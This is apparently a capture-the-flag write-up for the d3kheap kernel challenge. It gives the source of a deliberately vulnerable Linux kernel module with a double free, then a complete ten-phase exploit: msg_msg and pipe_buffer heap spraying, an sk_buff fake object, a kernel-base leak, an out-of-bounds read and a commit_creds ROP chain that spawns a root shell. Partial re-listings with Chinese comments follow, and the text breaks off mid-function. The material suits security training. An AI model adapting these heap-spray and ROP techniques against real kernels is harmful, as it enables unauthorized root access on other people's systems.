/**
 * Copyright (c) 2026 BinRacer <native.lab@outlook.com>
 *
 * This work is licensed under the terms of the GNU GPL, version 2 or later.
 **/
// code base on D^3CTF 2022 - d3kheap
#include <linux/cdev.h>
#include <linux/device.h>
#include <linux/export.h>
#include <linux/fs.h>
#include <linux/gfp.h>
#include <linux/init.h>
#include <linux/module.h>
#include <linux/printk.h>
#include <linux/ptrace.h>
#include <linux/sched.h>
#include <linux/slab.h>
#include <linux/spinlock.h>
#include <linux/uaccess.h>
#include <linux/version.h>

#define OBJ_ADD 0x1234
#define OBJ_EDIT 0x4321
#define OBJ_SHOW 0xbeef
#define OBJ_DEL 0xdead

static void *buf = NULL;
static int ref_count = 1;

static spinlock_t d3kheap_lock;

static unsigned int major;
static struct class *d3kheap_class;
static struct cdev d3kheap_cdev;

static int d3kheap_open(struct inode *inode, struct file *filp)
{
	pr_info("[d3kheap:] Device open.\n");
	return 0;
}

static int d3kheap_release(struct inode *inode, struct file *filp)
{
	pr_info("[d3kheap:] Device release.\n");
	return 0;
}

static long d3kheap_ioctl(struct file *file, unsigned int cmd,
			  unsigned long arg)
{
	spin_lock(&d3kheap_lock);

	switch (cmd) {
	case OBJ_ADD:
		if (buf) {
			pr_info("[d3kheap:] You already had a buffer!");
			break;
		}
		buf = kmalloc(1024, GFP_KERNEL);
		ref_count++;
		pr_info("[d3kheap:] Alloc done.\n");
		break;
	case OBJ_EDIT:
		pr_info
		    ("[d3kheap:] Function not completed yet, "
		     "because I\'m a pigeon!");
		break;
	case OBJ_SHOW:
		pr_info
		    ("[d3kheap:] Function not completed yet, "
		     "because I\'m a pigeon!");
		break;
	case OBJ_DEL:
		if (!buf) {
			pr_info("[d3kheap:] You don\'t had a buffer!");
			break;
		}
		if (!ref_count) {
			pr_info("[d3kheap:] The buf already free!");
			break;
		}
		ref_count--;
		kfree(buf);
		pr_info("[d3kheap:] Free done.\n");
		break;
	default:
		pr_info("[d3kheap:] Invalid instructions.\n");
		break;
	}

	spin_unlock(&d3kheap_lock);
	return 0;
}

struct file_operations d3kheap_fops = {
	.owner = THIS_MODULE,
	.open = d3kheap_open,
	.release = d3kheap_release,
	.unlocked_ioctl = d3kheap_ioctl,
};

static char *d3kheap_devnode(struct device *dev, umode_t * mode)
{
	if (mode)
		*mode = 0666;
	return NULL;
}

static int __init init_d3kheap(void)
{
	struct device *d3kheap_device;
	int error;
	dev_t devt = 0;

	error = alloc_chrdev_region(&devt, 0, 1, "d3kheap");
	if (error < 0) {
		pr_err("[d3kheap:] Can't get major number!\n");
		return error;
	}
	major = MAJOR(devt);
	pr_info("[d3kheap:] d3kheap major number = %d.\n", major);

	d3kheap_class = class_create(THIS_MODULE, "d3kheap_class");
	if (IS_ERR(d3kheap_class)) {
		pr_err("[d3kheap:] Error creating d3kheap class!\n");
		unregister_chrdev_region(MKDEV(major, 0), 1);
		return PTR_ERR(d3kheap_class);
	}
	d3kheap_class->devnode = d3kheap_devnode;

	cdev_init(&d3kheap_cdev, &d3kheap_fops);
	d3kheap_cdev.owner = THIS_MODULE;
	cdev_add(&d3kheap_cdev, devt, 1);
	d3kheap_device =
	    device_create(d3kheap_class, NULL, devt, NULL, "d3kheap");
	if (IS_ERR(d3kheap_device)) {
		pr_err("[d3kheap:] Error creating d3kheap device!\n");
		class_destroy(d3kheap_class);
		unregister_chrdev_region(devt, 1);
		return -1;
	}
	spin_lock_init(&d3kheap_lock);
	pr_info("[d3kheap:] d3kheap module loaded.\n");
	return 0;
}

static void __exit exit_d3kheap(void)
{
	unregister_chrdev_region(MKDEV(major, 0), 1);
	device_destroy(d3kheap_class, MKDEV(major, 0));
	cdev_del(&d3kheap_cdev);
	class_destroy(d3kheap_class);
	pr_info("[d3kheap:] d3kheap module unloaded.\n");
}

module_init(init_d3kheap);
module_exit(exit_d3kheap);
MODULE_AUTHOR("BinRacer");
MODULE_LICENSE("GPL v2");
MODULE_DESCRIPTION("Welcome to the pwn4kernel challenge!");

static void *buf = NULL;        // 1024字节内存缓冲区指针
static int ref_count = 1;       // 引用计数器，初始化为1

#define OBJ_ADD  0x1234  // 分配内存缓冲区
#define OBJ_EDIT 0x4321  // 编辑缓冲区内容（未实现）
#define OBJ_SHOW 0xbeef  // 显示缓冲区内容（未实现）
#define OBJ_DEL  0xdead  // 释放内存缓冲区

case OBJ_DEL:
    if (!buf) {
        pr_info("[d3kheap:] You don\'t had a buffer!");
        break;
    }
    if (!ref_count) {
        pr_info("[d3kheap:] The buf already free!");
        break;
    }
    ref_count--;          // 漏洞点：递减后未检查是否变为0
    kfree(buf);           // 漏洞点：无条件释放内存
    pr_info("[d3kheap:] Free done.\n");
    break;

/* ===========================================================
 * KERNEL SYMBOL OFFSETS & GADGETS
 * =========================================================== */
#define PREPARE_KERNEL_CRED 0xffffffff810cee40    // prepare_kernel_cred function address
#define COMMIT_CREDS 0xffffffff810ce940           // commit_creds function address
#define SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE 0xffffffff81e00ff0  // Return to user mode gadget
#define ANON_PIPE_BUF_OPS 0xffffffff8224e880      // Anonymous pipe buffer operations

/* ROP gadgets for control flow hijacking */
#define PUSH_RSI_JMP_QWORD_PTR_RSI_PLUS_0X39 0xffffffff8171db1c  // push rsi; jmp [rsi+0x39]
#define POP_RSP_RET 0xffffffff81034cf0           // pop rsp; ret
#define ADD_RSP_0X50_RET 0xffffffff81137a45      // add rsp, 0x50; ret
#define POP_RDI_RET 0xffffffff8108f9c0           // pop rdi; ret
#define POP_RCX_RET 0xffffffff81222333           // pop rcx; ret
#define MOV_RDI_RAX_REP_MOVSQ_RDI_RSI_RET 0xffffffff81c3c9bb  // mov rdi, rax; rep movsq; ret

/* ===========================================================
 * HEAP SPRAY PARAMETERS
 * =========================================================== */
#define MSG_SIZE 0x400                  // Standard message size (1KB)
#define MSG_TYPE 0x41                   // Message type identifier
#define OOB_MSG_SIZE 0x1000             // Out-of-bounds read size (4KB)
#define MAX_PIPE_COUNT 0xf0 * 2         // Maximum number of pipes to spray
#define MSG_QUEUE_NUM 0x1000            // Number of message queues (4096)
/* ===========================================================
 * DATA STRUCTURES
 * =========================================================== */
/* Standard message structure for IPC */
struct msg_data_struct {
  long mtype;                           // Message type
  char mtext[MSG_SIZE - sizeof(struct msg_msg)];  // Message text buffer
} msg_data;

/* ===========================================================
 * GLOBAL STATE VARIABLES
 * =========================================================== */
int pipe_fds[MAX_PIPE_COUNT][2];        // Pipe file descriptors [pipe_idx][0=read,1=write]
int sock_fds[SOCKET_NUM][2];            // Socket pair file descriptors
int msqid[MSG_QUEUE_NUM];               // Message queue identifiers
size_t pipe_data[0x1000 / 8] = {0};     // Buffer for pipe writes (8-byte aligned)
long dev_fd;                            // File descriptor for vulnerable device
size_t *leak_data;                      // Pointer to leaked kernel data
int victim_qid = -1;                    // Queue ID containing the UAF victim
int victim_pipe_idx = -1;               // Index of pipe overlapping with victim
int found_nearby_msg_msg = 0;           // Flag indicating nearby msg_msg found
int nearby_qid = -1;                    // Queue ID of nearby message
int nearby_offset_idx = -1;             // Offset index for nearby message
size_t nearby_msg_msg_addr;             // Address of nearby msg_msg structure
size_t nearby_msg_queue_addr;            // Address of nearby message queue
size_t *fake_pipe_buffer = NULL;        // Pointer to fake pipe buffer structure
size_t *rop_chain = NULL;               // Pointer to ROP chain buffer
int rop_idx = 0;                        // Current index in ROP chain
char fake_msg[704] = {0};               // Fake message buffer (skb_shared_info consumes 320 bytes at tail)

/* ===========================================================
 * DEVICE INTERACTION COMMANDS
 * =========================================================== */
#define OBJ_ADD 0x1234                  // IOCTL command to allocate object
#define OBJ_EDIT 0x4321                 // IOCTL command to edit object
#define OBJ_SHOW 0xbeef                 // IOCTL command to show object
#define OBJ_DEL 0xdead                  // IOCTL command to delete/free object

/**
 * @brief Allocate a kernel object via ioctl
 */
void add_chunk(void) {
  ioctl(dev_fd, OBJ_ADD);
}

/**
 * @brief Free a kernel object via ioctl
 */
void delete_chunk(void) {
  ioctl(dev_fd, OBJ_DEL);
}

/* ===========================================================
 * HELPER FUNCTIONS
 * =========================================================== */

/**
 * @brief Create a pipe pair for heap spraying
 * @param pipe_idx Index in pipe_fds array
 */
void create_pipe(int pipe_idx) {
  if (pipe(pipe_fds[pipe_idx]) < 0) {
    log.error("Pipe creation failed at index %d", pipe_idx);
    exit(EXIT_FAILURE);
  }
}

/**
 * @brief Resize pipe buffer capacity
 * @param pipe_idx Index in pipe_fds array
 * @param new_size New buffer size in bytes
 */
void resize_pipe_buffer(int pipe_idx, int new_size) {
  if (fcntl(pipe_fds[pipe_idx][0], F_SETPIPE_SZ, new_size) < 0) {
    log.error("Pipe resize failed for pipe %d", pipe_idx);
    exit(EXIT_FAILURE);
  }
}

/* ===========================================================
 * EXPLOIT PHASE FUNCTIONS
 * =========================================================== */

/**
 * @brief Phase 1: Environment initialization and device setup
 * Sets up CPU affinity, saves user state, and opens vulnerable device
 */
void phase_1_init_environment(void) {
  log.info("===========================================================");
  log.info("PHASE 1: ENVIRONMENT INITIALIZATION & DEVICE SETUP         ");
  log.info("===========================================================");

  log.info("Initializing exploit environment");
  bind_core(0);                         // Pin to core 0 for consistent behavior
  save_status();                         // Save user-mode registers for later return

  log.info("Opening vulnerable character device /dev/d3kheap");
  dev_fd = open("/dev/d3kheap", O_RDONLY);
  if (dev_fd < 0) {
    log.error("Failed to open /dev/d3kheap!");
    exit(-1);
  }
  log.success("Device opened successfully, fd: %ld", dev_fd);
}

/**
 * @brief Phase 2: Socket pair preparation for heap spraying
 * Creates socket pairs for sk_buff heap spraying
 */
void phase_2_prepare_sockets(void) {
  log.info("===========================================================");
  log.info("PHASE 2: SOCKET PAIR PREPARATION FOR HEAP SPRAYING        ");
  log.info("===========================================================");

  log.info("Creating %d socket pairs for sk_buff spraying", SOCKET_NUM);
  for (int i = 0; i < SOCKET_NUM; i++) {
    if (socketpair(AF_UNIX, SOCK_STREAM, 0, sock_fds[i]) < 0) {
      log.error("Failed to create socket pair %d!", i);
      exit(-1);
    }
  }
  log.success("Successfully created %d socket pairs", SOCKET_NUM);
}

/**
 * @brief Phase 3: Message queue spraying and overlapping object setup
 * Creates message queues and sprays msg_msg objects to occupy freed memory
 */
void phase_3_spray_msg_queues(void) {
  log.info("===========================================================");
  log.info("PHASE 3: MESSAGE QUEUE SPRAYING & OVERLAPPING OBJECT SETUP");
  log.info("===========================================================");

  log.info("Creating %d message queues for heap grooming", MSG_QUEUE_NUM);
  for (int i = 0; i < MSG_QUEUE_NUM; i++) {
    if ((msqid[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT)) < 0) {
      log.error("Failed to create msg_queue %d!", i);
      exit(-1);
    }
  }
  log.success("Successfully created %d message queues", MSG_QUEUE_NUM);

  log.info("Triggering allocation of target chunk via ioctl");
  add_chunk();                          // Allocate initial chunk
  log.info("Freeing target chunk to create dangling pointer");
  delete_chunk();                       // Free chunk to create UAF condition

  log.info("Spraying msg_msg objects (%d bytes each) to occupy freed chunk", MSG_SIZE);
  memset(&msg_data, 0, sizeof(msg_data));
  for (int i = 0; i < MSG_QUEUE_NUM; i++) {
    *(size_t *)&msg_data.mtext[0] = MSG_TYPE;
    *(size_t *)&msg_data.mtext[8] = *(size_t *)"BinRacer";
    *(size_t *)&msg_data.mtext[16] = i;
    *(size_t *)&msg_data.mtext[24] = *(size_t *)"BinRacer";
    if (write_msg(msqid[i], &msg_data, sizeof(msg_data), MSG_TYPE) < 0) {
      log.error("Failed to send msg to queue %d!", i);
      exit(-1);
    }
  }
  log.success("Completed msg_msg spraying across all queues");
}

/**
 * @brief Phase 4: Trigger use-after-free vulnerability
 * Double-frees the target chunk and sprays pipe buffers to reclaim it
 */
void phase_4_trigger_uaf(void) {
  log.info("===========================================================");
  log.info("PHASE 4: TRIGGER USE-AFTER-FREE VULNERABILITY             ");
  log.info("===========================================================");

  log.info("Double-freeing target chunk to create UAF condition");
  delete_chunk();                       // Second free creates UAF

  log.info("Spraying pipe buffers to reclaim freed memory (%d pipes)", MAX_PIPE_COUNT);
  for (int i = 0; i < MAX_PIPE_COUNT; i++) {
    create_pipe(i);
    write(pipe_fds[i][1], pipe_data, 0x1000);   // Fill first page
    write(pipe_fds[i][1], pipe_data, 0x1000);   // Fill second page
  }
  log.success("Pipe buffer spraying completed");
}

/**
 * @brief Phase 5: Identify victim object and leak kernel base
 * Scans message queues to find the one containing our UAF victim
 */
void phase_5_identify_victim(void) {
  log.info("===========================================================");
  log.info("PHASE 5: IDENTIFY VICTIM OBJECT & LEAK KERNEL BASE        ");
  log.info("===========================================================");

  log.info("Scanning message queues to locate UAF victim");
  victim_qid = -1;
  for (int i = 0; i < MSG_QUEUE_NUM; i++) {
    int ret = peek_msg(msqid[i], &msg_data, sizeof(msg_data), 0);
    // Check if read size differs from expected (indicates pipe_buffer overlap)
    if (ret != (MSG_SIZE - sizeof(struct msg_msg))) {
      victim_qid = i;
      leak_data = (size_t *)&msg_data;
      kernel_offset = leak_data[0] - ANON_PIPE_BUF_OPS;
      kernel_base += kernel_offset;
      hex_dump2("Leaked msg_data:", leak_data, 0x20);
      log.success("Victim queue ID: %d, unexpected read size: %d", victim_qid, ret);
      log.success("Leaked anon_pipe_buf_ops: 0x%lx", leak_data[0]);
      log.success("Kernel base address: 0x%lx", kernel_base);
      log.success("Kernel offset: 0x%lx", kernel_offset);
      break;
    }
  }
  if (victim_qid == -1) {
    err_exit("Failed to locate UAF in message queues!");
  }

  log.info("Marking pipes with unique identifiers for tracking");
  for (int i = 0; i < MAX_PIPE_COUNT; i++) {
    read(pipe_fds[i][0], pipe_data, 0x1000);    // Reset pipe position
    read(pipe_fds[i][0], pipe_data, i + 1);      // Write unique marker
  }

  log.info("Extracting victim pipe index from corrupted msg_msg");
  peek_msg(msqid[victim_qid], &msg_data, sizeof(msg_data), 0);
  leak_data = (size_t *)&msg_data;
  victim_pipe_idx = (leak_data[1] & 0xFFFFFFFFULL) - 1;
  hex_dump2("Marked msg_data:", leak_data, 0x20);
  log.success("Identified victim pipe index: %d", victim_pipe_idx);

  log.info("Freeing victim pipe to create memory hole");
  close(pipe_fds[victim_pipe_idx][0]);
  close(pipe_fds[victim_pipe_idx][1]);
}

/**
 * @brief Phase 6: Out-of-bounds read to leak adjacent objects
 * Uses OOB read to discover nearby msg_msg structures and their queue addresses
 */
void phase_6_oob_read_leak(void) {
  log.info("===========================================================");
  log.info("PHASE 6: OUT-OF-BOUNDS READ TO LEAK ADJACENT OBJECTS      ");
  log.info("===========================================================");

  log.info("Constructing fake msg_msg for OOB read (size: %d bytes)", OOB_MSG_SIZE);
  build_msg((struct msg_msg *)fake_msg, 0, 0, MSG_TYPE,
            OOB_MSG_SIZE - sizeof(struct msg_msg), 0, 0);

  log.info("Spraying sk_buff objects to fill memory hole");
  if (spray_sk_buff(sock_fds, fake_msg, sizeof(fake_msg)) < 0) {
    log.error("Failed to spray sk_buff!");
    exit(-1);
  }
  log.success("sk_buff spraying completed");

  log.info("Cleaning up non-victim pipes");
  for (int i = 0; i < MAX_PIPE_COUNT; i++) {
    if (i == victim_pipe_idx) continue;
    close(pipe_fds[i][0]);
    close(pipe_fds[i][1]);
  }

  log.info("Performing OOB read to scan adjacent memory regions");
  peek_msg(msqid[victim_qid], &msg_data,
           OOB_MSG_SIZE - sizeof(struct msg_msg) + 0x8, 0);

  found_nearby_msg_msg = 0;
  for (int i = 1; i < 3; i++) {
    leak_data = (size_t *)&msg_data.mtext[0x400 * i - sizeof(struct msg_msg)];
    if (leak_data[2] == MSG_TYPE) {
      nearby_offset_idx = i;
      found_nearby_msg_msg = 1;
      break;
    }
  }

  if (!found_nearby_msg_msg) {
    log.error("Failed to locate nearby msg_msg!");
    exit(-1);
  }

  nearby_msg_queue_addr = leak_data[0] - 0xc0;
  nearby_qid = leak_data[8];
  hex_dump2("Nearby msg_msg data:", leak_data, 0x50);
  log.success("Nearby queue ID: %d", nearby_qid);
  log.success("Leaked nearby msg_queue address: 0x%lx", nearby_msg_queue_addr);
  log.success("Nearby nearby msg_msg->m_list.next: 0x%lx", leak_data[0]);
  log.success("Nearby nearby msg_msg->m_list.prev: 0x%lx", leak_data[1]);
}

/**
 * @brief Phase 7: Fake pipe_buffer operations construction
 * Prepares fake pipe_buffer->ops in a nearby message queue
 */
void phase_7_build_fake_ops(void) {
  log.info("===========================================================");
  log.info("PHASE 7: FAKE PIPE_BUFFER OPERATIONS CONSTRUCTION         ");
  log.info("===========================================================");

  log.info("Preparing fake pipe_buffer->ops in nearby message queue");
  *(size_t *)&msg_data.mtext[0] = MSG_TYPE;
  *(size_t *)&msg_data.mtext[8] = *(size_t *)"BinRacer";
  *(size_t *)&msg_data.mtext[16] = *(size_t *)"BinRacer";
  *(size_t *)&msg_data.mtext[24] = kernel_offset + PUSH_RSI_JMP_QWORD_PTR_RSI_PLUS_0X39;

  if (write_msg(msqid[nearby_qid], &msg_data, sizeof(msg_data), MSG_TYPE) < 0) {
    log.error("Failed to write fake ops to queue %d!", nearby_qid);
    exit(-1);
  }
  log.success("Fake ops written to queue %d", nearby_qid);

  log.info("Leaking address of fake ops msg_msg");
  peek_msg(msqid[victim_qid], &msg_data,
           OOB_MSG_SIZE - sizeof(struct msg_msg) + 0x8, 0);
  leak_data = (size_t *)&msg_data.mtext[0x400 * nearby_offset_idx - sizeof(struct msg_msg)];
  nearby_msg_msg_addr = leak_data[0];
  hex_dump2("Fake ops msg_msg data:", leak_data, 0x50);
  log.success("Leaked fake ops msg_msg address: 0x%lx", nearby_msg_msg_addr);

  log.info("Releasing sk_buff objects to free memory");
  if (free_sk_buff(sock_fds, fake_msg, sizeof(fake_msg)) < 0) {
    log.error("Failed to free sk_buff!");
    exit(-1);
  }
}

/**
 * @brief Phase 8: Bypass free checks with forged msg_msg
 * Constructs a forged msg_msg to bypass security checks during free operation
 */
void phase_8_bypass_free_checks(void) {
  log.info("===========================================================");
  log.info("PHASE 8: BYPASS FREE CHECKS WITH FORGED MSG_MSG           ");
  log.info("===========================================================");

  log.info("Constructing forged msg_msg to bypass free() validation");
  build_msg((struct msg_msg *)fake_msg, nearby_msg_queue_addr + 0xc0,
            nearby_msg_queue_addr + 0xc0, MSG_TYPE,
            MSG_SIZE - sizeof(struct msg_msg), 0, 0);

  log.info("Re-spraying sk_buff with forged msg_msg");
  if (spray_sk_buff(sock_fds, fake_msg, sizeof(fake_msg)) < 0) {
    log.error("Failed to re-spray sk_buff!");
    exit(-1);
  }
  log.success("Forged msg_msg sprayed successfully");

  log.info("Triggering free of forged msg_msg");
  read_msg(msqid[victim_qid], &msg_data, sizeof(msg_data), 0);

  log.info("Re-spraying pipe buffers to reclaim memory");
  for (int i = 0; i < MAX_PIPE_COUNT; i++) {
    create_pipe(i);
    write(pipe_fds[i][1], pipe_data, 0x20);
  }
  log.success("Pipe buffer re-spray completed");

  log.info("Final cleanup of sk_buff objects");
  if (free_sk_buff(sock_fds, fake_msg, sizeof(fake_msg)) < 0) {
    log.error("Failed to free sk_buff again!");
    exit(-1);
  }
}

/**
 * @brief Phase 9: ROP chain construction and control flow hijack
 * Builds fake pipe_buffer and ROP chain for privilege escalation
 */
void phase_9_build_rop_chain(void) {
  log.info("===========================================================");
  log.info("PHASE 9: ROP CHAIN CONSTRUCTION & CONTROL FLOW HIJACK     ");
  log.info("===========================================================");

  log.info("Building fake pipe_buffer structure");
  fake_pipe_buffer = (size_t *)fake_msg;
  fake_pipe_buffer[0] = kernel_offset + ADD_RSP_0X50_RET;  // page field
  fake_pipe_buffer[2] = nearby_msg_msg_addr + 0x40;        // ops field
  log.success("Fake pipe_buffer constructed at 0x%lx", (size_t)fake_pipe_buffer);

  log.info("Constructing ROP chain for privilege escalation");
  rop_chain = (size_t *)&fake_msg[0x39];
  rop_chain[0] = kernel_offset + POP_RSP_RET;

  rop_chain = (uint64_t *)&fake_msg[0x50];
  rop_idx = 0;
  rop_chain[rop_idx++] = *(uint64_t *)"BinRacer";           // Padding
  rop_chain[rop_idx++] = kernel_offset + POP_RDI_RET;       // pop rdi gadget
  rop_chain[rop_idx++] = 0;                                 // NULL argument
  rop_chain[rop_idx++] = kernel_offset + PREPARE_KERNEL_CRED; // prepare_kernel_cred(0)
  rop_chain[rop_idx++] = kernel_offset + POP_RCX_RET;       // pop rcx gadget
  rop_chain[rop_idx++] = 0;                                 // 0 argument
  rop_chain[rop_idx++] = kernel_offset + MOV_RDI_RAX_REP_MOVSQ_RDI_RSI_RET; // mov rdi, rax
  rop_chain[rop_idx++] = kernel_offset + COMMIT_CREDS;      // commit_creds()
  rop_chain[rop_idx++] = kernel_offset + SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE + 0x22;
  rop_chain[rop_idx++] = *(uint64_t *)"BinRacer";           // Padding
  rop_chain[rop_idx++] = *(uint64_t *)"BinRacer";           // Padding
  rop_chain[rop_idx++] = (size_t)get_root_shell;            // Return to user shell
  rop_chain[rop_idx++] = user_cs;                           // User code segment
  rop_chain[rop_idx++] = user_rflags;                       // User flags
  rop_chain[rop_idx++] = user_sp + 8;                       // User stack pointer
  rop_chain[rop_idx++] = user_ss;                           // User stack segment

  log.success("ROP chain constructed with %d gadgets", rop_idx);

  log.info("Final sk_buff spray to hijack pipe_buffer->ops->release");
  if (spray_sk_buff(sock_fds, fake_msg, sizeof(fake_msg)) < 0) {
    log.error("Final sk_buff spray failed!");
    exit(-1);
  }
  log.success("Payload deployed successfully");
}

/**
 * @brief Phase 10: Trigger exploit and gain root privileges
 * Closes pipes to trigger the exploit and spawn root shell
 */
void phase_10_trigger_exploit(void) {
  log.info("===========================================================");
  log.info("PHASE 10: TRIGGER EXPLOIT & GAIN ROOT PRIVILEGES           ");
  log.info("===========================================================");

  log.info("Closing pipes to trigger fake ops->release handler");
  for (int i = 0; i < MAX_PIPE_COUNT; i++) {
    close(pipe_fds[i][0]);
    close(pipe_fds[i][1]);
  }

  log.success("Exploit triggered! Check for root shell...");
}

/* ===========================================================
 * MAIN EXPLOIT ENTRY POINT
 * =========================================================== */
int main(int argc, char **argv, char **envp) {
  /* Execute exploit phases sequentially */
  phase_1_init_environment();
  phase_2_prepare_sockets();
  phase_3_spray_msg_queues();
  phase_4_trigger_uaf();
  phase_5_identify_victim();
  phase_6_oob_read_leak();
  phase_7_build_fake_ops();
  phase_8_bypass_free_checks();
  phase_9_build_rop_chain();
  phase_10_trigger_exploit();

  return 0;
}

void phase_1_init_environment(void) {
  log.info("PHASE 1: ENVIRONMENT INITIALIZATION & DEVICE SETUP");

  bind_core(0);                         // 绑定到CPU核心0
  save_status();                        // 保存用户空间寄存器状态

  dev_fd = open("/dev/d3kheap", O_RDONLY);
  if (dev_fd < 0) {
    log.error("Failed to open /dev/d3kheap!");
    exit(-1);
  }
  log.success("Device opened successfully, fd: %ld", dev_fd);
}

void phase_2_prepare_sockets(void) {
  log.info("PHASE 2: SOCKET PAIR PREPARATION FOR HEAP SPRAYING");

  for (int i = 0; i < SOCKET_NUM; i++) {
    if (socketpair(AF_UNIX, SOCK_STREAM, 0, sock_fds[i]) < 0) {
      log.error("Failed to create socket pair %d!", i);
      exit(-1);
    }
  }
  log.success("Successfully created %d socket pairs", SOCKET_NUM);
}

void phase_3_spray_msg_queues(void) {
  log.info("PHASE 3: MESSAGE QUEUE SPRAYING & OVERLAPPING OBJECT SETUP");

  // 创建消息队列
  for (int i = 0; i < MSG_QUEUE_NUM; i++) {
    msqid[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
  }

  // 触发驱动程序内存分配与释放
  add_chunk();
  delete_chunk();

  // 堆喷msg_msg结构
  for (int i = 0; i < MSG_QUEUE_NUM; i++) {
    *(size_t *)&msg_data.mtext[0] = MSG_TYPE;
    *(size_t *)&msg_data.mtext[8] = *(size_t *)"BinRacer";
    *(size_t *)&msg_data.mtext[16] = i;
    write_msg(msqid[i], &msg_data, sizeof(msg_data), MSG_TYPE);
  }
}

void phase_4_trigger_uaf(void) {
  log.info("PHASE 4: TRIGGER USE-AFTER-FREE VULNERABILITY");

  delete_chunk();  // 第二次释放，触发Double Free

  for (int i = 0; i < MAX_PIPE_COUNT; i++) {
    create_pipe(i);
    write(pipe_fds[i][1], pipe_data, 0x1000);
    write(pipe_fds[i][1], pipe_data, 0x1000);
  }
}

/* offset      |    size */  type = struct msg_msg {
/* 0x0000      |  0x0010 */    struct list_head {
/* 0x0000      |  0x0008 */        struct list_head *next;
/* 0x0008      |  0x0008 */        struct list_head *prev;

                                   /* total size (bytes):   16 */
                               } m_list;
/* 0x0010      |  0x0008 */    long m_type;
/* 0x0018      |  0x0008 */    size_t m_ts;
/* 0x0020      |  0x0008 */    struct msg_msgseg *next;
/* 0x0028      |  0x0008 */    void *security;

                               /* total size (bytes):   48 */
                             }
/* offset      |    size */  type = struct pipe_buffer {
/* 0x0000      |  0x0008 */    struct page *page;
/* 0x0008      |  0x0004 */    unsigned int offset;
/* 0x000c      |  0x0004 */    unsigned int len;
/* 0x0010      |  0x0008 */    const struct pipe_buf_operations *ops;
/* 0x0018      |  0x0004 */    unsigned int flags;
/* XXX  4-byte hole      */
/* 0x0020      |  0x0008 */    unsigned long private;

                               /* total size (bytes):   40 */
                             }

void phase_5_identify_victim(void) {
  log.info("PHASE 5: IDENTIFY VICTIM OBJECT & LEAK KERNEL BASE");

  // 扫描消息队列定位目标
  for (int i = 0; i < MSG_QUEUE_NUM; i++) {
    int ret = peek_msg(msqid[i], &msg_data, sizeof(msg_data), 0);
    if (ret != (MSG_SIZE - sizeof(struct msg_msg))) {
      victim_qid = i;
      leak_data = (size_t *)&msg_data;
      kernel_offset = leak_data[0] - ANON_PIPE_BUF_OPS;
      kernel_base += kernel_offset;
      break;
    }
  }

  // 为管道创建唯一标识
  for (int i = 0; i < MAX_PIPE_COUNT; i++) {
    read(pipe_fds[i][0], pipe_data, 0x1000);
    read(pipe_fds[i][0], pipe_data, i + 1);
  }

  // 识别目标管道
  peek_msg(msqid[victim_qid], &msg_data, sizeof(msg_data), 0);
  leak_data = (size_t *)&msg_data;
  victim_pipe_idx = (leak_data[1] & 0xFFFFFFFFULL) - 1;

  // 释放目标管道
  close(pipe_fds[victim_pipe_idx][0]);
  close(pipe_fds[victim_pipe_idx][1]);
}

void phase_6_oob_read_leak(void) {
  log.info("PHASE 6: OUT-OF-BOUNDS READ TO LEAK ADJACENT OBJECTS");

  // 构造用于越界读取的伪造msg_msg
  build_msg((struct msg_msg *)fake_msg, 0, 0, MSG_TYPE,
            OOB_MSG_SIZE - sizeof(struct msg_msg), 0, 0);

  // 堆喷sk_buff填充内存空洞
  spray_sk_buff(sock_fds, fake_msg, sizeof(fake_msg));

  // 清理非目标管道
  for (int i = 0; i < MAX_PIPE_COUNT; i++) {
    if (i == victim_pipe_idx) continue;
    close(pipe_fds[i][0]);
    close(pipe_fds[i][1]);
  }

  // 执行越界读取
  peek_msg(msqid[victim_qid], &msg_data,
           OOB_MSG_SIZE - sizeof(struct msg_msg) + 0x8, 0);

  // 查找邻近msg_msg
  for (int i = 1; i < 3; i++) {
    leak_data = (size_t *)&msg_data.mtext[0x400 * i - sizeof(struct msg_msg)];
    if (leak_data[2] == MSG_TYPE) {
      nearby_offset_idx = i;
      found_nearby_msg_msg = 1;
      break;
    }
  }

  // 提取邻近对象信息
  nearby_msg_queue_addr = leak_data[0] - 0xc0;
  nearby_qid = leak_data[8];
}

void phase_7_build_fake_ops(void) {
  log.info("PHASE 7: FAKE PIPE_BUFFER OPERATIONS CONSTRUCTION");

  // 在邻近消息队列中写入伪造的ops
  *(size_t *)&msg_data.mtext[0] = MSG_TYPE;
  *(size_t *)&msg_data.mtext[8] = *(size_t *)"BinRacer";
  *(size_t *)&msg_data.mtext[16] = *(size_t *)"BinRacer";
  *(size_t *)&msg_data.mtext[24] = kernel_offset + PUSH_RSI_JMP_QWORD_PTR_RSI_PLUS_0X39;

  write_msg(msqid[nearby_qid], &msg_data, sizeof(msg_data), MSG_TYPE);

  // 泄露伪造ops的地址
  peek_msg(msqid[victim_qid], &msg_data,
           OOB_MSG_SIZE - sizeof(struct msg_msg) + 0x8, 0);
  leak_data = (size_t *)&msg_data.mtext[0x400 * nearby_offset_idx - sizeof(struct msg_msg)];
  nearby_msg_msg_addr = leak_data[0];

  // 释放sk_buff
  free_sk_buff(sock_fds, fake_msg, sizeof(fake_msg));
}

void phase_8_bypass_free_checks(void) {
  log.info("PHASE 8: BYPASS FREE CHECKS WITH FORGED MSG_MSG");

  // 构造绕过检查的伪造msg_msg
  build_msg((struct msg_msg *)fake_msg, nearby_msg_queue_addr + 0xc0,
            nearby_msg_queue_addr + 0xc0, MSG_TYPE,
            MSG_SIZE - sizeof(struct msg_msg), 0, 0);

  // 重新堆喷sk_buff
  spray_sk_buff(sock_fds, fake_msg, sizeof(fake_msg));

  // 触发释放操作
  read_msg(msqid[victim_qid], &msg_data, sizeof(msg_data), 0);

  // 重新堆喷管道缓冲区
  for (int i = 0; i < MAX_PIPE_COUNT; i++) {
    create_pipe(i);
    write(pipe_fds[i][1], pipe_data, 0x20);
  }

  // 清理sk_buff
  free_sk_buff(sock_fds, fake_msg, sizeof(fake_msg));
}

void phase_9_build_rop_chain(void) {
  log.info("PHASE 9: ROP CHAIN CONSTRUCTION & CONTROL FLOW HIJACK");

  // 构造伪造的pipe_buffer结构
  fake_pipe_buffer = (size_t *)fake_msg;
  fake_pipe_buffer[0] = kernel_offset + ADD_RSP_0X50_RET;  // page字段
  fake_pipe_buffer[2] = nearby_msg_msg_addr + 0x40;        // ops字段

  // 构建ROP链
  rop_chain = (size_t *)&fake_msg[0x39];
  rop_chain[0] = kernel_offset + POP_RSP_RET;

  rop_chain = (uint64_t *)&fake_msg[0x50];
